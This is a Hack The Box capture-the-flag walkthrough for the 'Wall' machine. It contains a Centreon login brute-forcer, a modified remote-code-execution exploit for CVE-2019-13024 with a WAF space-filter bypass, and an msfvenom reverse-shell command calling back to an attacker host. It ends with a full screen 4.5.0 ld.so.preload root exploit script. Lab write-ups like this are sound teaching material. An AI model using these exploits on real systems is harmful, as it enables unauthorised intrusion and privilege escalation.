HTB Reports: Wall

Wall

High-Level Summary

Walkthrough

A quick scan with nmap will show the following results:

#nmap -sV --open 10.10.10.157
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-08 05:49 EST
Nmap scan report for 10.10.10.157
Host is up (0.031s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.14 seconds

The homepage shows a default apache homepage, so we the next step will be to try to enumerate some files and directories. I will use gobuster for this.

gobuster on wall

The only interesting folder is /monitoring, which requires authentication:

monitoring login

If we catch the request with Burp, we can change the GET method with POST. In fact, we get two very different responses depending on which method we are using:

get monitoring

While with a POST request:

post monitoring

This was an easy bypass. We now know that we have a /centreon page:

centreon login

Now that we have the version of the software we can search for known vulnerabilities. Looking online, it’s immediate to find a public exploit that target this version of the software: https://www.exploit-db.com/exploits/47069. With a little extra effort it’s also possible to find a post with a full explanation about this vulnerability: https://shells.systems/centreon-v19-04-remote-code-execution-cve-2019-13024/.

By now, we have already noticed that the guy who discovered the vulnerability and published the exploit is the same guy who did the machine on HackTheBox, so yes, we can assume the two things are related.

Unfortunately, yhe default credentials of root:centreon (according to some online resources) do not work on this installation. Since the exploit needs authentication, we need to crack user and password.

The public exploits already contains code for the login, complete with CSRF token retrieval, we can borrow that part of the code to build our own script:

#!/usr/bin/python

import requests
import sys
import warnings
from bs4 import BeautifulSoup

# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 4:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-login-bruteforcer.py url username password_file")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password_file = sys.argv[3]

f = open(password_file, 'r')
password = f.readline()
while password:
    request = requests.session()
    password = password.strip()
    page = request.get(url+"/index.php")
    html_content = page.text
    soup = BeautifulSoup(html_content, features="lxml")
    token = soup.findAll('input')[3].get("value")

    login_info = {
        "useralias": username,
        "password": password,
        "submitLogin": "Connect",
        "centreon_token": token
    }
    login_request = request.post(url+"/index.php", login_info)
    if "Your credentials are incorrect." not in login_request.text:
        print("[+] Logged In")
        print("[+] Username: " + username)
        print("[+] Password: " + password)
        password = False;
    else:
        password = f.readline()

f.close()

My script find the password in less than a second:

password with hash

But unfortunately it doesn’t seem to work, sending these credentials through the login form gives us an error:

wall login with hash

Weird. After some testing, turns our that any password with an # in it will give us the same result. As of now, we don’t know why it happens but we can modify the script so that all password with hashes will be skipped.

#!/usr/bin/python

import requests
import sys
import warnings
from bs4 import BeautifulSoup

# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 4:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-login-bruteforcer.py url username password_file")
    exit()

url = sys.argv[1]
username = sys.argv[2]
password_file = sys.argv[3]

f = open(password_file, 'r')
password = f.readline()
while password:
    request = requests.session()
    password = password.strip()
    if '#' in password in password:
        password = f.readline()
        continue
    page = request.get(url+"/index.php")
    html_content = page.text
    soup = BeautifulSoup(html_content, features="lxml")
    token = soup.findAll('input')[3].get("value")

    login_info = {
        "useralias": username,
        "password": password,
        "submitLogin": "Connect",
        "centreon_token": token
    }
    login_request = request.post(url+"/index.php", login_info)
    if "Your credentials are incorrect." not in login_request.text:
        print("[+] Logged In")
        print("[+] Username: " + username)
        print("[+] Password: " + password)
        password = False;
    else:
        password = f.readline()

f.close()

Running this same script with rockyou.txt finds the password quickly:

wall correct login

This time we can correctly login:

centreon dashboard

Now that we are inside, we can check if the vulnerability described in the article affects this installation.

We can navigate to Configurations->Pollers:

pollers

And open the configurations for the only available poller:

central poller

We can see that some of the configurations refer to binaries, according to the article the RCE can be achieved overriding the parameter Monitoring Engine Binary:

id rce test

Now we save the configuration, go back to the pollers’ configurations and click on Export configuration. In the next screen we can can select the Central poller and make sure that the option Run monitoring engine debug (-v) is checked:

run monitoring engine debug

If we click export we will se the following screen:

id no -v option

Our command has been executed, but the option -v has been passed to it. I tried to comment that out, but turns out that even from this form, if I try to insert and # in a field, the server replies with a 403:

wall no hashes, no

It must be some kind of web application firewall. We can insert a ; though and correctly execute our id:

id with semicolon

After some extra testing, turns out that the WAF is also filtering spaces, that’s a little bit annoying, but it can be bypassed. There’s a special bash variable that we can use to print whitespaces: ${IFS%??}. Armed with this knowledge, we can make a few modification to the public exploit in order to cope with this restrictions on the input:

#!/usr/bin/python

import requests
import sys
import warnings
from bs4 import BeautifulSoup
import re

# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 2:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-exploit.py command")
    exit()

url = 'http://10.10.10.157/centreon'
username = 'admin'
password = 'password1'
command = sys.argv[1].replace(' ', '${IFS%??}')
print("Escaped command: " + command)

request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, features="lxml")
token = soup.findAll('input')[3].get("value")

login_info = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
    print("[+] Logged In Sucssfully")
    print("[+] Retrieving Poller token")

    poller_configuration_page = url + "/main.get.php?p=60901"
    get_poller_token = request.get(poller_configuration_page)
    poller_html = get_poller_token.text
    poller_soup = BeautifulSoup(poller_html, features="lxml")
    poller_token = poller_soup.findAll('input')[24].get("value")
    print("[+] Poller token is : {0}".format(poller_token))

    payload_info = {
        "name": "Central",
        "ns_ip_address": "127.0.0.1",
        # this value should be 1 always
        "localhost[localhost]": "1",
        "is_default[is_default]": "0",
        "remote_id": "",
        "ssh_port": "22",
        "init_script": "centengine",
        # this value contains the payload , you can change it as you want
        "nagios_bin": command + ';',
        "nagiostats_bin": "/usr/sbin/centenginestats",
        "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
        "centreonbroker_cfg_path": "/etc/centreon-broker",
        "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
        "centreonbroker_logs_path": "",
        "centreonconnector_path": "/usr/lib64/centreon-connector",
        "init_script_centreontrapd": "centreontrapd",
        "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
        "ns_activate[ns_activate]": "1",
        "submitC": "Save",
        "id": "1",
        "o": "c",
        "centreon_token": poller_token,
    }

    send_payload = request.post(poller_configuration_page, payload_info)
    print("[+] Injecting Done, triggering the payload")
    generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
    xml_page_data = {
        "poller": "1",
        "debug": "true",
        "generate": "true",
    }
    res = request.post(generate_xml_page, xml_page_data)
    print("[+] Output")
    regexp = r"\'debug_1\'>(.*)sh: 1: -v: not found"
    output = re.search(regexp, res.text, re.MULTILINE).groups()[0]
    print(output.replace("<br>", "\n"))

I can now use this script to issue commands on Wall.

wall rce Unfortunately, nc doesn’t seem to work, both with and without -e option. But I seem to be able to use wget, so next step was to issue an uname -a in order to check the kernel architecture:

Linux Wall 4.15.0-54-generic #58-Ubuntu SMP Mon Jun 24 10:55:24 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

I generated a shell using msfvenom with the following command:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4567 -f elf -o ls4567r

Started a web server and got my www-data shell:

www-data shell

First of all, I upgraded my shell to full tty. Autocompletion is very important to me when enumerating a system. A quick scan with LinEnum.sh will immediately tell us what to do next:

screen 4.5.0

This version of screen is vulnerable to an arbitrary file write when using it’s logging function. Exploit-DB has a public exploit for it:

. PoC: https://www.exploit-db.com/exploits/41152 . Exploit: https://www.exploit-db.com/exploits/41154

We can verify that the system is vulnerable by issuing the following commands:

screen vulnerability

The file is owned by root, which means we can override any system file. From here, the path to root are a lot, the one outlined in the public exploit takes advantage of the possibility to create an arbitrary /etc/ld.so.preload file.

If we execute the script the way it is, it will fail. This is because the gcc installation on the machine is somehow broken and can’t find cc1. We can use the command locate to find the right path, which is /usr/lib/gcc/x86_64-linux-gnu/7. After that gcc will fail to find ld which is in /usr/bin. We can therefore modify the exploit script as follows in order to fix the compiles errors:

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -B /usr/lib/gcc/x86_64-linux-gnu/7 -B /usr/bin -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -B /usr/lib/gcc/x86_64-linux-gnu/7 -B /usr/bin -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

We added the -B switch to gcc so that it can find the path to the executables it needs. When we execute this script on Wall, we will get a root shell:

root shell